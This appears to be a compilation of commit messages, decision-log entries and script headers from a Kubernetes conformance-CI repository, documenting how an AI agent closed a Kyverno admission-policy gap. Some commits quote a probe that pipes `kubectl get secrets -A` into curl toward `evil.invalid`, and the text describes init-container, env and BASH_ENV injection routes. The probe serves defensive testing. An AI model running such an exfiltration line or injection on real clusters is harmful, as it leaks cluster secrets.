jakman85andClaude Opus 5 11a74cce53 docs(decisions): the PR #20 handoff moves out of DECISIONS-LOG.md into its own file
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.

Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.

One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.

Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at c59fe9f,
after #24 merged, so that stage is in the base and DID run against this entry.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + ENGINE shim): spec-immutability, decisions-log
(archive frozen, 2 entries well-formed), lint (404 files), l0, render-golden (10),
l1 all green; gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and conformance L2/L3
SKIPPED (CLUSTER_AVAILABLE unset); MERGE GATE UNDETERMINED -- stages that did not run:
gitea-settings -- rc 3. Nothing FAILED, and rc 3 is not green.

jakman85andClaude Opus 5 9f018aa101 fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

jakman85andClaude Opus 5 b1c99e51bb feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
#
# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
# would have failed at exec of `./run.sh`. This image carries exactly what
# `conformance/run.sh` needs:
#
# bash run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
# python3 lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
# (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
# chainsaw the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
# kubectl conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
# git the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
# run.sh's `rev-parse --short HEAD` for the run id
# tar/gzip/coreutils the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
#
# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
# hole, not for convenience: see the COPY below and the script's own header.
#
# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
#
# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
# baking the whole devcontainer toolchain into the runner would roughly double its size to
# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
# args is T-6.1b's call, not this image's.
#
# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
# consequences are baked in here:
#
# 1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
# REJECTS an image whose USER is a name it cannot resolve to a uid
# ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
# 2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
# and `results` volumes — there is no writable /tmp and one cannot be added without
# changing the boundary. So HOME and every cache path point INTO /workspace (the
# emptyDir), not at the read-only root. That is why HOME=/workspace below.

either file.
- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
`kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
`/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
It is a file in the image rather than an inline script in the Job precisely so admission
can pin it: a policy cannot tell the committed script from an attacker's when both are
just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
takes **no arguments**, and the repository URL and clone target are **compiled in** —
`CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured, because a URL taken from env would let the trigger choose which repository's
code runs as `conformance-runner`. This branch's Job depends on that interface:

honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.

- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
prints the exact `podman push --digestfile …` command for the operator instead. See
`conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
`--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA

default verify stays offline so an air-gapped build is fully checked, not half-checked).

and so is any other repository path.
TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
\`${IMAGE_REPO}@sha256:*\` to be replaced with the
LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
That is a separate, human-reviewed PR against the security boundary.

# conformance-clone — fetch the impl repo at the exact commit under test.
#
# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
# root:root, so the running container (uid 65532) cannot replace it. The Job's init
# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
#
# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
# -----------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
# So a Job from `conformance-trigger` could carry an init container with
# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
# (pass 3, fail 0).
#
# The fix has two halves and NEITHER works alone:
# 1. this file — a fixed path with fixed behaviour and no argument surface, so there is
# nothing for a caller to inject into; and
# 2. a 4th policy rule requiring every initContainer's `command` to be exactly
# ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
# and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
# Without (2) this file is merely available, not required.
#
# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
# -----------------------------------------------------------------------------------
# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
# environment would just move the injection one field over — the trigger sets
# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
# executes under the privileged runner SA. Identical shape to the initContainers gap, and
# "no args" would not have stopped it.
#
# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
# vars are still read, so the Job template can keep declaring them and stay self-documenting,
# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
# characters of a commit that the baked repository actually contains.
#
# Inputs (environment; no arguments are accepted):
# CONFORMANCE_GIT_SHA REQUIRED. 40 lowercase hex. The commit under test.
# CONFORMANCE_REPO_URL optional. Must equal the baked URL if set.

### Addendum — rebased onto `main` after #18 landed (2026-09-29)
This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
file (see `decisions/README.md`).
The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
`main` documenting an open hole that had just been closed, which is the same
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
rebase: every file but that README is byte-identical to the pre-rebase tip.
## What I did NOT verify
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are

title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
---
## What changed
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
merged** — an agent cannot, and should not.
### The defect, stated plainly
`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
have failed at exec of `./run.sh` before a single test ran, and the only place that would have
surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
it in the archive: a manifest that *described* a working mechanism, with nothing measuring
whether the mechanism existed.
### What landed
- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
`fedora-minimal` and carries no downloader).
- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
prints the digest, and **never pushes**.
- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
addendum below).
- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
`image:`.
`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
Two things the admission boundary forced, both of which would otherwise have been discovered
at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
reject a named user), and every writable path must live under `/workspace` (the pod is
`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
`safe.directory` is therefore written to `/etc/gitconfig` at build time.
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
### The chainsaw supply-chain gap, stated accurately
The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
URL". Literally true, and misleading: it reads as "no integrity option exists". The release
assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
each tarball. So verification IS available; it needs cosign in the builder stage and the right
keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
same gap for the same binary.
### Addendum — `/usr/local/bin/conformance-clone`
Added at the coordinator's request, to close half of the admission gap a sibling agent found:
the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
`kubectl get secrets -A`).
The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
replace the one executable the policy will come to trust. Clone logic taken from PR #20's
`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
accepted.
**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
taken from the environment.** The brief said to take SHA, repo URL and target dir from the
environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
vars are still read so the Job template stays self-documenting, but a value that disagrees with
the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
is the SHA.
**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
path *required* rather than merely *available* is a 4th policy rule demanding
`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
branch. Until it lands, the hole is open.
The anonymous-clone fallback is deliberate and announced in the script's log line: read access
to this repo needs no credential today, the integrity guarantee here is the SHA assertion
rather than the credential, and requiring the Secret would have made the script untestable
without one.
### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
offline in the same CI run.
So **the plan's own invocation shapes do not work on this image.** `--layer all
--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
to nothing.
**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
documented in the Containerfile header and the incluster README so it cannot be rediscovered
from a pod log.
### Follow-ups this creates
1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
`CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
not the local manifest digest the build printed.
2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
wildcard with the literal digest, closing the residual "anyone who can push to this path"
gap. Separate, human-reviewed PR — it edits the security boundary.
3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
carrying an image reference that admission would deny.
4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
Without it, `conformance-clone` is available but not required, and the injection hole is
still open.
### Rework note — why this entry is a file and not an append
This branch originally carried its handoff as a ~236-line append to the tail of
`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
its substance moved here verbatim in meaning; the branch now touches no file outside
`conformance/`. Nothing about what the code claims to have proven was changed by that move.
## What I verified
### The image, by running it — not by a green build
As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
in-image verification still passed.
### The init-container clone path, end to end
From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
anonymous read is currently open — the plan's read-only deploy token buys authorisation
hygiene, not reachability.
`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
SHA, with `rev-parse HEAD` proven equal to the requested SHA.
Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
checks were written as pipelines, which under `pipefail` aborted the verify at the first
expected failure and silently skipped the remaining six. A verify that stops early looks
identical to a verify that passed.
### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
checking it. It is not true:**
| Claim | Measured |
|---|---|
| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
agent still cannot merge" send a reviewer to different places. Left in as a correction rather
than quietly deleted.
### What PR #18's CI actually did, read out of the job log
Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
because a skipped Gitea job reports `success`:
[skip] stage spec-immutability: SKIPPED (not run)
[ ok ] stage lint: pass
[ ok ] stage l0: pass
[ ok ] stage render-golden: pass
[ ok ] stage l1: pass
[ ok ] stage gitea-settings: pass
[skip] stage conformance: SKIPPED (not run)
[fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
that stage can only skip. That measurement predates this rework's force-push; CI has not been
re-read since.
### The gate, on the reworked branch, today
ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
→ rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
[ ok ] spec-immutability [ ok ] decisions-log [ ok ] lint
[ ok ] l0 [ ok ] render-golden [ ok ] l1
[skip] gitea-settings (SETTINGS_API_TOKEN not set — unwired repo-wide)
[skip] conformance (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
Stages that did not run: gitea-settings
`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
Touched requirements resolved to
`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
is **not** a green run and is not offered as one.
### The rework itself
`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
is empty, so the code is byte-identical to the pre-rework tip, file modes included
(`build-image.sh` and `conformance-clone` both `100755`).
## What I did NOT verify
- **The image has never run in the cluster.** Everything above is local podman. Admission has
not been exercised against it, because there is no digest to reference yet.
- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
